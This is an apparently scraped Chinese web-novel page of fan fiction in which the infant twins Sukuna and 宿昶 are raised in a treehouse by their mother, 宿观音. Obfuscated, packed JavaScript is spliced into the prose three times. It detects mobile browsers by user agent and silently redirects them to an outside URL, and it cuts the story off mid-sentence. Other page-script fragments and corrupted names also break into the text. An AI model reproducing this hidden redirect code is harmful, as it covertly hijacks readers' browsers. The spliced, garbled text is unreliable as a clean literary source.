;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17265097|198079||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “这一下,是教你——别跟你妈装无辜。” 黑色那个终于瘪了瘪嘴,眼泪开始在眼眶里打转。 但他还是没哭出声。 就那么委屈巴巴地看着她。 粉色那个已经哭得上气不接下气,一边哭一边蹬腿,小小的身子扭来扭去。 宿观音把他们放回床榻上,重新裹好襁褓。 两个小团子并排躺着。 粉色那个还在抽抽噎噎地哭,小脸皱成一团。 黑色那个眼泪在眼眶里打转,但就是不掉下来,就那么看着她。 宿观音叉着腰,居高临下地看着他们。 “记住了,”她说,“在这个家,我是妈。” “你们可以调皮,可以闹,可以以后出去横着走。” “但是——” 她伸出手指,点点粉色那个的小鼻子,又点点黑色那个的小鼻子。 “不准对妈不尊重。” “不准给妈甩脸子。” “不准用那种‘我看透你了’的眼神看妈。” 粉色那个抽抽噎噎地看着她。 黑色那个眨眨眼睛,眼泪终于掉下来一颗。 宿观音看着他们,心又软了。 她叹口气,坐回床边,把两个小团子往怀里拢了拢。 “行了行了,”她的声音软下来,“不哭了不哭了。” “妈也不是真的打你们。” “就是让你们记住,咱们家的规矩。” 两个小团子靠在她怀里,渐渐安静下来。 粉色那个抽噎着,小嘴还在瘪。 黑色那个眼泪不掉了,但眼睛还是红红的。 过了很久。 粉色那个忽然动了动,小小的脑袋往她怀里拱了拱。 像在认错。 黑色那个也动了动,小小的手从襁褓里伸出来,轻轻地、轻轻地,碰了碰她的手指。 像在说:知道了,妈。 宿观音低头看着他们。 看着粉色那个毛茸茸的小脑袋。 看着黑色那个伸出来的小小手指。 心里那点气,早就散得干干净净。 只剩下满满的、涨涨的、快要溢出来的柔软。 她伸出手,轻轻握住黑色那个小小的手。 另一只手,轻轻拍着粉色那个的背。 “好了,”她轻声说,“这事翻篇了。” “以后好好相处。” 两个小团子都没动。 但她能感觉到,他们靠得更紧了一点。 窗外,阳光正好。 树屋里,一家三口,靠在一起。 粉色那个打了个小小的哈欠。 黑色那个也闭上了眼睛。 宿观音看着他们,忽然笑了。 “两个小兔崽子,”她低声说,“刚出生就敢跟妈斗。” “以后还得了。” 两个小团子没理她。 一个已经睡着了,小小的呼吸均匀而安稳。 另一个也快睡着了,眼睛半睁半闭,但那只小小的手,还轻轻握着她的手指。 宿观音看着那只小手,看了很久。 然后她低下头,在黑色那个小小的额头上,轻轻印下一个吻。 又在粉色那个小小的额头上,同样印下一个吻。 “睡吧,”她轻声说,“妈在这儿。” 两个小团子睡得很沉。 树屋里很安静。 只有风吹过林梢的声音,和他们小小的、均匀的呼吸声。 宿观音靠在床头,看着窗外渐渐升高的太阳。 忽然想起一件事。 那两个小团子刚才的表情—— 是真的吗? 还是她眼花了? 她想了想,决定不想了。 管他真的假的,反正都是她的崽。 敢翻天的,打屁股就是了。 她笑了笑,闭上眼睛,靠着床榻,也沉沉睡去。 梦里,两个小小的身影,一左一右,跟在她身后。 一个粉色头发,蹦蹦跳跳,叽叽喳喳。 一个黑色头发,安安静静,稳稳当当。 她走在前面,头也不回。 但嘴角,一直翘着。 平安京的第二天,就这么过去了。 树屋里,一家三口,睡得正香。 没人知道,那两个刚出生的小团子,在睡梦中,同时动了动嘴角。 一个往上翘,带着点“老妈不过如此”的意味。 一个往下压,带着点“认命吧这就是咱妈”的无奈。 但最后—— 两个小小的、刚刚被打过屁股的脑袋,不约而同地,往母亲怀里拱了拱。 像在说: 老妈是天。 服了。 14. 第十三章:晨间密谋 宿观音睡得很沉。 反转术式虽然把身体修复得七七八八,但精神上的疲惫骗不了人。昨天那一场折腾,加上两个小崽子出生第一天的“下马威”式互动,让她睡得像个死人。 阳光透过兽皮帘子的缝隙,在她脸上画出一道细细的光线。 她没醒。 左边那个粉色小团子,先醒了。 宿傩睁开眼睛的时候,眼前是一片模糊的光影。刚出生的眼睛还看不太清楚,但他能分辨出明暗的区别——亮的地方是窗户,暗的地方是妈妈。 妈妈在睡觉。 他眨眨眼睛,适应了一下光线,然后开始观察周围。 首先映入眼帘的,是头顶上方的木梁。粗糙,有树皮的纹理,还有几道像是被什么锋利东西削过的痕迹——那是老妈建树屋时留下的斩击印记。 他不懂这些。 他只是觉得,头顶这个东西,长得挺奇怪。 然后他偏过头。 右边,隔着一小段距离,另一个襁褓里,躺着一个黑色头发的小团子。 那是他兄弟。 叫什么来着……宿……昶? 老妈昨天说的,但他没记住。 反正就是兄弟。 黑色小团子还在睡,小小的眉头微微皱着,像在做梦。呼吸很轻很轻,胸口几乎看不出起伏。 宿傩盯着他看了很久。 然后他做了一个决定。 叫醒他。 怎么叫呢? 他想了想,先试着“啊”了一声。 声音小小的,像小猫哼唧。 黑色小团子没反应。 他又“啊”了一声,这次大一点点。 还是没反应。 宿傩有点急了。 他想伸手去推他,但两只手都被裹在襁褓里,动不了。他用力挣了挣,襁褓纹丝不动——老妈裹得太紧了,怕他们踢被子。 他只能继续“啊”。 “啊——” “啊——” “啊——” 一声比一声大,一声比一声急。 黑色小团子终于动了动眉头。 宿傩眼睛一亮,继续“啊”。 “啊!啊!啊!” 黑色小团子睁开眼睛。 那双黑漆漆的眼睛,刚睁开的时候还有点迷茫,但很快就聚焦在粉色小团子脸上。 他看着他。 宿傩看着他。 四目相对。 然后—— 宿傩咧开嘴,笑了。 那是一个没有牙齿的、粉嫩嫩的、看起来傻乎乎的笑。 黑色小团子看着他,没有笑。 他只是安静地看着他,眼睛里写满了:你叫我干嘛? 宿傩当然看不懂眼神。 他只是很高兴兄弟醒了,继续咧着嘴傻笑。 笑了一会儿,他忽然想起另一件事。 饿了。 他瘪了瘪嘴,想哭。 但刚瘪到一半,他又停住了。 因为他想起来,昨天他哭的时候,老妈打他屁股了。 虽然不太懂为什么哭会被打,但他隐约觉得,可能……哭不是什么好事? 他憋住眼泪,开始四处张望。 老妈还在睡。 储物区那边……好像有昨天吃的那个东西? 他记得那个东西的味道。凉凉的,滑滑的,一进嘴里就化开,然后肚子就不饿了。 他想要那个。 但他动不了。 他又看看旁边的黑色小团子。 黑色小团子也在看他。 宿傩眨眨眼睛,又“啊”了一声。 这次“啊”的意思是:你去拿。 黑色小团子眨眨眼睛。 他的表情没变,但眼睛里分明写着:我也动不了。 宿傩没看懂。 他又“啊”了一声:快去啊。 黑色小团子沉默地看着他。 然后他轻轻动了动,把被裹得紧紧的小手,从襁褓里抽出来一点点。 宿傩眼睛瞪圆了。 他低头看看自己的襁褓,又看看黑色小团子那只露出一点点的小手。 他开始用力挣。 挣啊挣,挣啊挣。 襁褓纹丝不动。 黑色小团子看着他挣,没说话。 等宿傩挣累了,停下来喘气,黑色小团子才轻轻地把那只小手又缩回襁褓里。 他的眼睛还是看着宿傩,但这一次,眼睛里似乎带着一点点……无奈? 像在说:你看,我也出不来。 宿傩瘪嘴。 但他忍住了,没哭。 他又想了想,然后—— 他开始扭。 整个小身子在襁褓里扭来扭去,像一条被捆住的毛毛虫。 黑色小团子看着他扭。 扭了一会儿,宿傩的位置变了——他离黑色小团子近了一点点。 他继续扭。 又近了一点点。 黑色小团子看着他,眼睛里似乎闪过一丝……兴趣? 他没有动,就那么看着弟弟一点一点,像虫子一样,朝他扭过来。 扭了大概有一刻钟。 宿傩终于扭到了黑色小团子旁边。 两个小襁褓并在一起,两个小脑袋几乎挨着。 宿傩喘着气,小脸累得通红。 但他眼睛亮晶晶的,看着黑色小团子,咧开嘴又笑了。 那笑容好像在说:看,我过来了! 黑色小团子看着他。 这一次,他的嘴角,似乎、好像、可能,往上翘了那么一点点。 不是笑,更像是那种……对弟弟的愚蠢行为表示宽容的、长辈式的……无奈。 但他确实翘了。 宿傩没注意到。 他正忙着把脑袋往黑色小团子那边拱。 拱啊拱,拱啊拱。 终于,两个小小的脑袋,贴在了一起。 温热的,软软的,带着奶香。 宿傩满意了。 他不动了,就那么靠着兄弟的脑袋,眼睛慢慢眯起来。 黑色小团子也没动。 他感受着贴在脑袋侧面的那份温热,眼睛也慢慢眯起来。 两个小团子,脑袋靠着脑袋,并排躺着。 阳光慢慢移动,落在他们身上。 过了一会儿。 宿傩又睁开眼。 他想起那个能吃的东西了。 他又开始“啊”。 这次“啊”得很轻,像在问:那个吃的,在哪儿? 黑色小团子没动。 但他的眼睛,微微往储物区的方向转了一下。 宿傩顺着他的视线看过去。 储物区那边,有一个陶罐。 他记得那个陶罐,昨天老妈就是从那里拿出那个好吃的东西的。 他又看看储物区到床榻的距离。 好远。 他挣了挣襁褓,挣不动。 他瘪瘪嘴,又想哭。 但黑色小团子忽然轻轻“啊”了一声。 很轻,很短。 宿傩停下来,看着他。 黑色小团子看着他。 那双黑漆漆的眼睛里,似乎在说:别急,等妈醒。 宿傩眨眨眼睛。 他好像懂了。 又好像没懂。 但他不哭了。 他继续靠着兄弟的脑袋,眼睛半睁半闭,看着窗户那边的光。 阳光暖暖的。 兄弟的脑袋也暖暖的。 肚子好像也没那么饿了。 他打了个小小的哈欠。 黑色小团子也打了个小小的哈欠。 两个小脑袋,靠得更紧了一点。 又过了一会儿。 宿傩忽然又“啊”了一声。 这次“啊”的意思是:你叫什么来着? 黑色小团子沉默了一下。 然后他轻轻地、慢慢地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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然后—— “唔——” 床榻那边,宿观音翻了个身。 两个小团子同时一僵。 那只伸出来的小手,“嗖”地缩回襁褓里。 那只抵着方向的小手,也“嗖”地缩回去。 两个小团子闭着眼睛,一动不动。 呼吸均匀。 睡得香甜。 宿观音迷迷糊糊睁开眼,看了看两个并排躺着的小团子。 都睡得很香。 她打了个哈欠,又躺回去,继续睡。 过了很久。 确定老妈的呼吸又变得均匀了。 粉色小团子才悄悄睁开一只眼睛。 他看向黑色小团子。 黑色小团子也睁开一只眼睛,看着他。 四目相对。 然后—— 粉色小团子咧嘴笑了,无声地。 黑色小团子没笑,但眼睛弯了弯。 然后他们又同时闭上眼睛。 继续“睡”。 阳光慢慢升高。 树屋里一片宁静。 两个刚出生第二天的小团子,在母亲身旁,完成了人生第一次“密谋”。 虽然密谋的内容,只是—— “等妈醒了,要吃的。” 但对他们来说,这已经是兄弟间了不起的默契了。 床榻上。 宿观音睡得很沉。 两个小团子睡得很假。 但那两只几乎要碰在一起的小手,隔着两层襁褓,各自伸着。 指尖对着指尖。 距离,只有一根手指那么宽。 就那么悬着。 等着老妈醒来。 等着新的一天开始。 15. 第十四章:打地铺 宿观音是被一阵细细的“啊啊”声吵醒的。 不是哭声,是那种带着明显目的性的、一唱一和的“对话”。 她睁开眼,偏过头。 然后愣住了。 两个小襁褓的位置,变了。 她明明记得昨天睡觉前,把两个崽并排放在床榻内侧,离自己一臂远的地方——怕自己翻身压着他们。 但现在—— 粉色那个,也就是宿傩,不知道什么时候挪到了床榻边缘,再差一点就要滚下去。 黑色那个,宿昶,倒是没挪多远,但他侧着身,面朝弟弟的方向,一只小手居然从裹得紧紧的襁褓里挣了出来,就那么搭在两个人中间的空处。 而宿傩的那只小手,也从襁褓里挣出来,正努力往哥哥那边够。 两只小手之间,只差不到一根手指的距离。 “……” 宿观音揉揉眼睛,又看了一遍。 没错。 两只挣出来的小手。 两个挪了位置的小团子。 两个出生才一天的崽。 她沉默了。 她慢慢坐起来,没有惊动那两个还在“啊啊”交流的小东西。 她盯着他们看了很久。 然后她伸手,把宿傩从床榻边缘捞回来,放回安全位置。 宿傩吓了一跳,小身子一僵。 等他看清是老妈,立刻咧开嘴,露出一个没牙的傻笑。 “啊!”他叫了一声,声音响亮,像在打招呼。 宿昶也安静下来,那双黑漆漆的眼睛看着她,不叫,只是看着。 宿观音看看这个,又看看那个。 “你们俩,”她开口,声音还有点刚睡醒的沙哑,“昨天偷偷干什么了?” 宿傩继续傻笑。 宿昶继续安静地看着她。 没人回答。 但她低头检查襁褓的时候,发现了一个问题—— 裹宿傩的那个襁褓,最外层那个她特意加固过的结,松了。 不是完全散开,是松了。 像是被什么东西从里面一点一点拱开的。 她看看那个松开的结,又看看宿傩那只挣出来的小手。 再看看他那张无辜的、傻笑着的脸。 “……是你干的?” 宿傩眨眨眼睛。 “啊!”他又叫了一声,理直气壮。 宿观音气笑了。 “你才出生一天,”她戳戳他的小脸蛋,“就会越狱了?” 宿傩被戳得眯起眼睛,但嘴角还咧着,笑得更开心了。 她又看向宿昶。 “你呢?你手怎么挣出来的?” 宿昶安静地看着她。 然后他轻轻动了动那只挣出来的小手,指尖微微蜷缩了一下,像在比划什么。 宿观音看不懂。 但她忽然想起一件事—— 昨天的咒力结晶。 她喂他们的时候,两个崽吸收得很快,快得不正常。那种精纯的能量,对他们来说,可能不仅仅是填饱肚子那么简单。 她皱起眉,把宿傩的襁褓完全解开,把他抱出来,放在腿上。 然后她捧着他的小脸,仔细看。 眼睛。鼻子。嘴巴。耳朵。 都和昨天一样,小小的,皱巴巴的,标准的初生婴儿长相。 但当她用手指轻轻碰他的小手时—— 那只小手,居然握住了她的手指。 不是那种无意识的、反射性的抓握。 是主动的、有目的的、像在确认什么的那种握。 而且握得很有力。 她又试试他的脚。 轻轻挠了挠脚心。 那只小脚居然缩了一下,然后—— 踹了她一脚。 不重,但确实是踹。 踹完,他又咧开嘴傻笑,像是在说:妈,我厉害吧? 宿观音沉默了。 她把宿傩放回襁褓,又把宿昶抱出来检查。 黑色的小人儿安静地躺在她腿上,那双黑漆漆的眼睛一直看着她。 她碰他的小手。 他握住了她的手指,和宿傩一样有力。 她碰他的小脚。 他没有踹她,只是轻轻动了动脚趾,然后继续看着她。 不傻笑,不闹,就是那么安静地看着她。 像是在等她说点什么。 宿观音把他放回去,裹好襁褓。 然后她坐在床边,陷入了沉思。 两个崽吸收了咒力结晶之后,身体掌控能力明显超前了。 普通婴儿出生一天,连转头都费劲。这两个已经会挣襁褓、会挪位置、会有意识地抓握了。 这发育速度,差不多相当于正常婴儿两个月。 照这个趋势下去,再过几天,他们会不会就会翻身了?再过一个月,会不会就想爬了? 万一爬得早了,脑子还没跟上,不会说话,不会走路,光有身体能跑——那不成小怪物了? 外面那些咒灵可不管你是不是婴儿,闻着咒力就过来了。 她可不想某天出门打猎回来,发现两个崽自己爬出去探险了。 不行。 得压一压。 不能让他们长太快。 “崽,”她开口,“跟你们商量个事。” 两个小团子同时看着她。 “你们昨天吃的那个东西,是好东西,但不能吃太多。”她说,“吃多了,你们长得太快,万一脑子没跟上身体,到时候连妈都叫不清楚,光会满地乱爬,那多尴尬。” 宿傩眨眨眼睛,没听懂。 宿昶也眨眨眼睛,但那双黑漆漆的眼睛里,似乎在思考什么。 “所以呢,”宿观音继续说,“以后那个东西,掺在别的吃的里,一点点吃。慢慢长,不着急。” “反正妈在这儿,没人能欺负你们。” “你们就按正常节奏来,该爬的时候爬,该走的时候走,该叫妈的时候叫妈。” “听懂了没?” 宿傩“啊”了一声,声音响亮。 宿昳也轻轻“啊”了一声,声音很轻。 宿观音把这当成“听懂了”。 她站起来,走到储物区,翻出昨天没用完的那点糙米。 先煮粥。 咒力结晶当佐料,不能当主食。 第一步,煮粥。 她生起火塘,把陶锅架上,加水,放米。 糙米需要煮很久,她一边看着火,一边把昨天剩下的几块咒力结晶拿出来,用石臼慢慢研磨。 结晶很硬,但在她手里,也就是多用力几下的问题。 很快,一小撮亮晶晶的粉末就磨好了。 米粥的香味慢慢飘出来。 两个小团子同时转过头,看向灶台的方向。 宿傩“啊啊”叫起来,声音又急又亮。 宿昶没叫,但他那双黑漆漆的眼睛,也一眨不眨地盯着陶锅的方向。 宿观音回头看了一眼,笑了。 “急什么,还没好。” 她继续搅粥,直到米粒完全煮烂,粥变得粘稠。 然后她把那一小撮咒力结晶粉末撒进去,搅拌均匀。 粉末一入锅,粥的表面泛起一层淡淡的微光,像是撒了一层细碎的星星。 她盛出来两小碗,晾到温热。 然后她抱着两个小碗,坐回床边。 “来,开饭。” 她把宿傩先抱起来,放在腿上,用一个小木勺舀了一点点粥,吹了吹,送到他嘴边。 宿傩早就等不及了,小嘴一张,“啊呜”一口就把勺子含住了。 然后他愣住了。 眼睛瞪得圆圆的。 那个表情,像是在说:这是什么?怎么和昨天吃的不一样? 但他很快就接受了这个设定,小嘴一动一动,把那口粥咽下去。 然后他张开嘴,“啊”地叫了一声,意思是:还要! 宿观音又舀了一勺。 他又“啊呜”一口吞下去。 嚼都不嚼——当然也没牙可嚼——就那么直接咽。 咽完又叫。 一勺接一勺,吃得又快又急,米粒糊得满嘴都是。 那小模样,活像一只饿了三天的雏鸟,张着嘴等着投喂。 宿观音一边喂一边笑,“慢点慢点,没人跟你抢。” 喂完宿傩,她把吃饱了、正在咂嘴的小粉团子放回襁褓,把宿昶抱起来。 黑色的小人儿安静地躺在她腿上,看着她。 她舀了一勺粥,吹凉,送到他嘴边。 他张开小嘴,含住勺子。 然后他慢慢嚼——虽然没牙,但小嘴一动一动,像是在认真品尝。 咽下去之后,他没有像宿傩那样张嘴要,而是看着她,眼睛微微眯了一下。 那表情,像是在说:还可以。 宿观音又舀了一勺。 他又慢慢嚼,慢慢咽。 一勺一勺,不急不慢,吃得干干净净。 吃完,他还伸出小舌头,把嘴唇上的米粒舔掉。 然后继续看着她,黑漆漆的眼睛亮晶晶的。 宿观音看着他,心都快化了。 “你们两个,”她轻声说,“一个狼吞虎咽,一个细嚼慢咽。” “以后吃饭,可热闹了。” 她把宿昶放回去,两个小团子并排躺着。 宿傩吃饱了,正眯着眼睛,小嘴还在咂吧,像是在回味。 宿昶也吃饱了,安静地躺着,眼睛看着天花板。 过了一会儿,宿傩忽然偏过头,看向哥哥。 他“啊”了一声,像是在问:你吃饱没? 宿昶也偏过头,看向弟弟。 他没“啊”,只是轻轻眨了眨眼睛。 宿傩又“啊”了一声,像是在说:我吃饱了,好饱。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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角落是两个并排的婴儿床,像两个小小的堡垒。 灶台被“封印”了,暂时安全。 储物区的东西都搬到了高处,用藤条固定,像树上长的果实。 整个树屋,像一个巨大的、柔软的、没有危险的育儿房。 “行了,”她拍拍手,“以后你们就在这儿爬。” “想怎么爬怎么爬,想怎么滚怎么滚。” “妈给你们兜底。” 两个小团子躺在婴儿床里,看着她。 宿傩眨眨眼睛,像在问:这是什么? 宿昶眨眨眼睛,像在观察。 宿观音走过去,把两个崽从婴儿床里抱出来,放在铺好的兽皮上。 软软的兽皮,暖暖的,毛毛的。 宿傩一放上去,就开始动。 小身子在兽皮上扭来扭去,小手小脚乱挥,像一只翻壳的小乌龟。 宿昶则安静地躺着,小手轻轻摸着身下的兽皮,像是在感受毛茸茸的触感。 宿观音坐在旁边,看着他们两个。 阳光从窗户照进来,落在他们身上。 两个小小的身影,在软软的兽皮上,一个乱动,一个安静。 她忽然觉得,之前那些打打杀杀、那些特训、那些担心,都值了。 “崽,”她轻声说,“以后咱们就按这个节奏来。” “慢慢长,慢慢学。” “妈有的是时间陪你们。” 宿傩扭了一会儿,忽然停下来,偏过头看向她。 他咧开嘴,又露出那个没牙的傻笑。 “啊!”他叫了一声。 像是在说:妈,我喜欢这里! 宿昶也偏过头看向她。 他没叫,只是安静地看着她,黑漆漆的眼睛里,映着她的影子。 那眼神,像是在说:妈,谢谢你。 宿观音看看这个,又看看那个。 然后她躺下来,躺在两个崽中间。 软软的兽皮,暖暖的阳光,还有两个小小的、温热的小生命。 她闭上眼睛,长长地呼出一口气。 “真好啊。”她轻声说。 窗外,风吹过林梢。 树屋里,一片安宁。 两个小团子,在母亲身旁,在软软的兽皮上,开始了他们人生第一次“地面探索”。 虽然一个只会乱扭,一个只会躺着看。 但这已经是他们迈向这个大大的世界的第一步。 慢慢来。 不着急。 妈在这儿。 16. 第十五章:俩崽子在家翻天 宿观音站在树屋门口,回头看了一眼。 入早秋了。 两个小团子并排躺在婴儿床里,睡得很沉。宿傩的小嘴微微张着,嘴角挂着一丝亮晶晶的口水。宿昶安静地侧躺着,小手蜷在脸颊旁边,呼吸均匀。 阳光从窗户照进来,落在他们身上,画面安宁得像一幅画。 她看了几秒,然后转身,轻手轻脚放下藤梯,爬下树屋。 脚踩到实地的那一刻,她长长地呼出一口气。 不容易啊。 当妈第八天,她终于鼓起勇气出门了。 不是她不想带崽,是带不了。两个八天大的小东西,虽然身体发育比普通婴儿快一丢丢,但真带出去打猎,那纯属作死。万一遇到咒灵,她顾得上打顾不上护,哭都没地方哭。 只能趁他们睡着的时候,速战速决。 她一边往山林深处走,一边在心里盘算。 现在刚入早秋,树叶还没怎么黄,但早晚已经开始凉了。再过三四个月,天气彻底冷下来,山里肯定比外面更冷。树屋虽然她尽量糊严实了,但毕竟不是正经房子,透风的地方肯定有。 两个小崽子到时候要是会爬了,满地乱跑,冻着怎么办? 还有吃的。她现在靠猎杀咒灵获取结晶,但冬天咒灵会不会也变少?万一不够吃,两个崽饿肚子怎么办? 还有衣服。现在用襁褓裹着还行,等他们会爬会走了,总得穿衣服吧?她缝的那几件,丑就不说了,保暖效果也堪忧。 还有…… 她越想越头大。 “靠。”她骂了一声,停在一棵大树下,“当妈怎么这么多事。” 以前一个人,吃饱全家不饿。现在两张嘴等着她喂,两双眼睛等着她养,还有冬天、衣服、食物、安全……一大堆破事等着她操心。 她挠挠头,粉色麻花辫被她挠得更乱了。 忽然,一个念头冒出来。 安倍。 那个阴阳寮的年轻阴阳生,叫什么来着……安倍有行? 他上次来,说阴阳寮在追查那批人。而且他看起来,对她和崽没什么恶意,还送了药和襁褓。 如果…… 如果能通过他,在阴阳寮挂个名,当个什么编外咒术师之类的,是不是就能领点俸禄? 钱不钱的另说,主要是——万一冬天真缺粮了,能有个后路。 而且阴阳寮肯定有情报,那批人要是再有什么动作,她也能早点知道。 越想越觉得有道理。 “行,”她一拍大腿,“就这么定了。” “等回去,想办法联系他。” 但眼下,还是先打猎。 她加快脚步,往更深的山林走去。 与此同时,树屋里。 宿傩先醒的。 他睁开眼,眨巴眨巴,发现老妈不在。 他又眨巴眨巴,确定老妈真的不在。 然后他偏过头,看向旁边那张婴儿床。 宿昶还在睡,黑色的小脑袋歪在一边,呼吸很轻。 宿傩“啊”了一声。 没反应。 他又“啊”了一声,声音大了一点。 宿昶的眉头动了动,但没醒。 宿傩急了。 他开始挣襁褓。 有了昨天的经验,今天挣起来顺手多了。他扭啊扭,拱啊拱,很快就把小手挣了出来。 然后他用那只挣出来的手,去扒襁褓的边缘。 扒啊扒,扒啊扒。 襁褓松了。 又松了一点。 再松一点。 终于—— 整个襁褓散开了。 他自由了! 宿傩躺在婴儿床里,激动得小身子都在抖。 他试着动了动腿。能动。 他试着翻了翻身。能翻——虽然翻得有点费劲,但他确实翻过去了。 他趴在婴儿床里,小脑袋抬起来,四处张望。 老妈不在。 弟弟在睡觉。 地上……地上那片软软的、毛茸茸的是什么? 他记得,昨天老妈把他们放在上面过。软软的,很舒服。 他想要下去。 怎么下去呢? 他看了看婴儿床的围栏。不高,但对于一个八天大的婴儿来说,还是挺高的。 他伸出小手,扒住围栏。 然后他试着把一条腿抬起来。 抬不起来。 他又试了试,还是抬不起来。 他有点急,小脸憋得通红。 然后他忽然想起一个办法—— 滚。 他往围栏那边滚了一下。 没到。 他又滚了一下。 还是没到。 他继续滚。 一下,两下,三下…… 终于,他滚到了围栏边上。 他伸出小手,扒住围栏,然后—— 一头栽了下去。 “砰。” 闷闷的一声,他掉在了软软的兽皮上。 不疼。 他愣了一下,然后咧开嘴,笑了。 下来了! 他趴在兽皮上,小身子一起一伏,像一只搁浅的小海豹。 歇了一会儿,他想起弟弟。 他抬起头,看向婴儿床。 宿昶还在睡。 不行,得叫醒他。 他开始往婴儿床那边爬——不是爬,是拱。像毛毛虫一样,一拱一拱,小身子在兽皮上扭来扭去,一寸一寸往前挪。 拱了一会儿,他累了。 他趴在兽皮上喘气。 喘完,继续拱。 又拱了一会儿,他终于拱到了婴儿床边上。 他伸出小手,拍了拍婴儿床的腿。 “啊!”他叫了一声。 没反应。 他又拍了拍。 “啊!啊!” 还是没反应。 他急了,开始用力拍。 “啊!啊!啊!” 婴儿床被他拍得轻轻晃动。 宿昶终于醒了。 他睁开眼,迷茫地看着天花板,然后偏过头,看向声音的来源。 哥哥趴在婴儿床下面,正仰着脑袋看他。 两个小团子四目相对。 宿傩咧开嘴,笑了。 那笑容,像是在说:快下来玩! 宿昶眨眨眼睛,又眨眨眼睛。 然后他开始观察。 婴儿床的围栏,高度,弟弟是怎么下去的,地上那片软软的兽皮…… 观察完毕。 他开始挣襁褓。 和哥哥那种蛮力挣脱不同,他的挣法更有技巧。先挣出一只手,然后用那只手慢慢解开襁褓的结,一点一点,不急不慢。 很快,襁褓也散开了。 他翻过身,趴在婴儿床里,往围栏边爬了一点点。 然后他伸出小手,扒住围栏,往下看。 哥哥正仰着脑袋看他,眼睛亮晶晶的。 宿昶没急着下去。 他继续观察。 高度。距离。落地的位置。 观察完毕。 他松开一只手,身子往外探。 再探。 再探。 然后—— 他滑了下去。 不是栽下去的,是滑下去的。小身子贴着围栏,慢慢往下滑,最后稳稳落在兽皮上。 宿傩看着弟弟,眼睛瞪得圆圆的。 那表情,像是在说:你怎么下去的?我怎么没看懂? 宿昶没理他。 他趴在兽皮上,感受了一下这个新环境。 软。暖。毛茸茸的。 还不错。 宿傩凑过来,用脑袋顶了顶弟弟。 “啊!”他叫了一声,像是在说:我们去那边! 宿昶顺着他的视线看过去。 那边是灶台。被木板盖着,但旁边堆着一些柴火。 他又看看另一边。那边是储物区,陶罐被绑在高处,晃来晃去。 他再看看窗户那边。阳光从兽皮帘子的缝隙照进来,在地上画出一道一道的光影。 他收回视线,看向哥哥。 宿傩已经开拱了。 他像一条粉色的毛毛虫,一拱一拱,往灶台那边拱。 拱几下,歇一歇,再拱几下。 宿昶看着他拱,没有动。 他在等。 等哥哥拱累了,他再动。 果然,拱了一会儿,宿傩停下来,趴在兽皮上喘气。 他偏过头,看向宿昶,“啊”了一声,像是在求救。 宿昶这才开始动。 他的动作比宿傩慢得多,但更稳。也是一拱一拱,但每拱一下,都会停下来看看周围,像是在记住路线。 拱了一会儿,他拱到了宿傩旁边。 两个小团子并排趴在兽皮上,像两条并排的毛毛虫。 宿傩又“啊”了一声,像是在说:继续! 然后他又开始拱。 这次的方向,是储物区。 他拱啊拱,拱啊拱,终于拱到了储物区下面。 他抬起头,看着头顶那些晃来晃去的陶罐。 好高。 他够不着。 他伸出小手,往上够了够。 够不着。 他又试了试,还是够不着。 他有点急,小脸又憋红了。 宿昶这时候也拱过来了。 他抬起头,看了看那些陶罐,又看了看弟弟。 然后他收回视线,开始拱向另一个方向。 柴火堆那边。 宿傩看哥哥走了,愣了愣,然后也跟上去。 两条毛毛虫,一前一后,在兽皮上拱出一条蜿蜒的轨迹。 拱到柴火堆旁边,宿昶停下来。 他伸出小手,摸了摸一根木棍子。 粗糙的,硬制的。 他又摸了摸。 宿傩也凑过来摸。 然后—— 那根木棍子动了动。 两个小团子同时僵住。 木棍子又动了动。 然后,“哗啦”一声,最上面几根木棍子滚落下来。 宿傩吓得一抖,小身子往后一缩。 宿昶也往后缩了缩,但眼睛一直盯着那些滚落的木棍子。 木棍子滚到兽皮上,停住了。 没有后续。 宿昶等了一会 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宿昶拱过来,也抬起头看着床榻。 高。 确实高。 他观察了一会儿,然后开始拱向另一个方向——摇椅那边。 摇椅被搬到阳台上了,但摇椅的腿还在阳台边上,他能看到。 他拱到阳台边上,抬起头,看着那把摇椅。 摇椅的腿,比床榻低一点。 但也够不着。 他又观察了一会儿,然后拱回去,拱到弟弟旁边。 两个小团子并排趴在床榻下面,仰着脑袋,看着高高在上的床榻。 谁也没办法。 最后,宿傩累了。 他趴在兽皮上,眼睛慢慢眯起来。 宿昶也累了。 他也趴下来,脑袋靠着弟弟的脑袋。 两个小团子,就这么趴在床榻下面的兽皮上,睡着了。 阳光慢慢移动,落在他们身上。 柴火散了一地。 陶罐还在高处晃来晃去。 婴儿床空着。 床榻上的襁褓乱成一团。 整个树屋,像被两条小毛毛虫袭击过一样。 但他们睡得很香。 头靠着头,呼吸均匀。 一个小嘴微张,流着口水。 一个安静地蜷着,小手搭在弟弟身上。 窗外,风吹过树梢。 午后的阳光,暖暖地照着。 宿观音回来的时候,看到的就是这幅景象。 她站在门口,愣了很久。 柴火堆。满地的木棍孑。 兽皮上,两条蜿蜒的、扭来扭去的痕迹,从婴儿床下面一直延伸到床榻下面,延伸到储物区下面,延伸到柴火堆旁边。 床榻上,两个空了的襁褓,乱糟糟地堆着。 而两个罪魁祸首—— 正并排趴在床榻下面的兽皮上,睡得人事不知。 粉色那个,小嘴张着,口水把身下的兽皮洇湿了一小滩。 黑色那个,安静地蜷着,小手还搭在弟弟身上。 她沉默了很久。 然后她笑了。 